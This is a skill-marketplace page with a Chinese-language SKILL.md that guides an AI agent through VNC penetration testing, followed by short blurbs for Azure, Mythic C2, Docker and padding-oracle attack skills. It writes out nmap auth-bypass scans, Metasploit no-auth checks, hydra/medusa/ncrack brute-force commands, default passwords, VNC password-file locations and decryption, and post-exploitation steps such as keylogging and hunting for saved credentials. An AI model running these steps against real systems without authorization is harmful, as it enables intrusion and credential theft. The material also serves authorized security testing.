skills/exploit/network-service/vnc-pentesting/SKILL.md
VNC 服务(5900/5901 端口)渗透测试方法论。涵盖 VNC 服务发现、密码爆破、无认证访问、VNC 密码文件解密、已知漏洞利用。 当 Agent 扫描发现 5800/5900/5901 端口开放、需要测试 VNC 认证强度、尝试无认证访问、或解密 VNC 密码文件时,触发此 Skill。
npx skillsauth add wgpsec/AboutSecurity vnc-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
发现 5800/5900/5901 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本扫描 -> 版本信息 / 认证绕过检测 / 标题获取
│ ├─ 确定 VNC 实现 (RealVNC / TightVNC / UltraVNC / TigerVNC / x11vnc)
│ └─ 端口映射:
│ ├─ 5800/5801 -> HTTP Web 客户端 (Java Applet)
│ └─ 5900/5901 -> VNC 协议原生端口 (display :0 / :1)
├─ Phase 2: 认证测试
│ ├─ 无认证访问检测 (Metasploit vnc_none_auth)
│ │ ├─ 无密码 -> 直接连接 vncviewer
│ │ └─ 需要密码 -> 进入爆破
│ ├─ 密码爆破 (hydra / medusa / ncrack)
│ └─ 默认密码尝试
├─ Phase 3: 密码文件解密
│ ├─ 目标文件: ~/.vnc/passwd (Linux) / 注册表 (Windows)
│ ├─ VNC 密码使用 3DES 固定密钥加密 (已被逆向)
│ └─ 工具: vncpwd / vncpasswd.py
├─ Phase 4: 已知漏洞
│ ├─ RealVNC 认证绕过
│ ├─ UltraVNC 缓冲区溢出
│ └─ 特定版本 CVE 检索
└─ Phase 5: 后渗透
├─ 截屏 / 键盘记录
├─ 文件传输 (UltraVNC)
└─ 反向 VNC 连接
# VNC 脚本扫描: 信息获取 + 认证绕过检测 + 标题获取
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
| 端口 | 用途 | 说明 | |------|------|------| | 5800 | HTTP (display :0) | Java Web 客户端 | | 5801 | HTTP (display :1) | Java Web 客户端 | | 5900 | VNC (display :0) | 标准 VNC 端口 | | 5901 | VNC (display :1) | 第二显示 |
# Metasploit — 检测 VNC 是否允许无密码访问
msf> use auxiliary/scanner/vnc/vnc_none_auth
msf> set RHOSTS <IP>
msf> run
# 直接连接 (无密码或已知密码)
vncviewer <IP>::5901
# 使用密码文件连接
vncviewer -passwd passwd.txt <IP>::5901
# hydra
hydra -s 5900 -P passwords.txt -t 4 vnc://<IP>
# medusa
medusa -h <IP> -u "" -P passwords.txt -M vnc -n 5900
# ncrack
ncrack -vv --user "" -P passwords.txt <IP>:5900
VNC 认证状态
├─ vnc_none_auth 成功
│ └─ 直接连接 -> vncviewer <IP>::5900
├─ 需要密码
│ ├─ 爆破 (hydra / medusa / ncrack)
│ ├─ 尝试常见默认密码: password, vnc, 123456, <hostname>
│ └─ 已从目标获取密码文件 -> Phase 3 解密
└─ 认证类型未知
└─ vnc-info 脚本结果分析 -> 确定认证方式
VNC 密码使用 3DES 固定密钥 加密,该密钥多年前已被逆向。只要获取到加密的密码文件即可解密。
| 平台 | 路径 |
|------|------|
| Linux (通用) | ~/.vnc/passwd |
| TightVNC (Windows) | HKCU\Software\TightVNC\Server (Password 值) |
| RealVNC (Windows) | HKLM\SOFTWARE\RealVNC\vncserver (Password 值) |
| UltraVNC (Windows) | C:\Program Files\UltraVNC\ultravnc.ini |
# vncpwd — 解密 VNC 密码文件
# https://github.com/jeroennijhof/vncpwd
make
vncpwd <vnc password file>
# Python 替代方案
# https://github.com/trinitronx/vncpasswd.py
python vncpasswd.py -d <encrypted_password_hex>
获取 VNC 密码文件
├─ 已获得目标文件系统访问
│ ├─ Linux -> cat ~/.vnc/passwd
│ └─ Windows -> reg query 注册表路径 / 读取 ini 文件
├─ 通过其他漏洞读取文件
│ ├─ LFI / 任意文件读取
│ └─ 备份文件下载
└─ 解密后
└─ 使用明文密码连接 VNC
VNC 版本已知
├─ RealVNC 4.1.0–4.1.1
│ └─ 认证绕过 (Nmap realvnc-auth-bypass 脚本可检测)
├─ UltraVNC < 1.2.1.7
│ └─ 多个缓冲区溢出 CVE
├─ LibVNCServer < 0.9.12
│ └─ CVE-2018-15127 (堆溢出)
├─ TigerVNC < 1.10.1
│ └─ CVE-2019-15691 至 CVE-2019-15695 (栈溢出/堆溢出)
└─ 通用检测
└─ searchsploit vnc <version>
已成功连接 VNC
├─ 观察桌面内容 (密码、敏感文件、其他会话)
├─ 键盘输入命令执行
├─ 文件传输 (UltraVNC 支持)
├─ 截图取证
└─ 查找其他凭据
├─ 浏览器保存的密码
├─ SSH 密钥
└─ 其他远程连接配置
port:5900 RFB
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能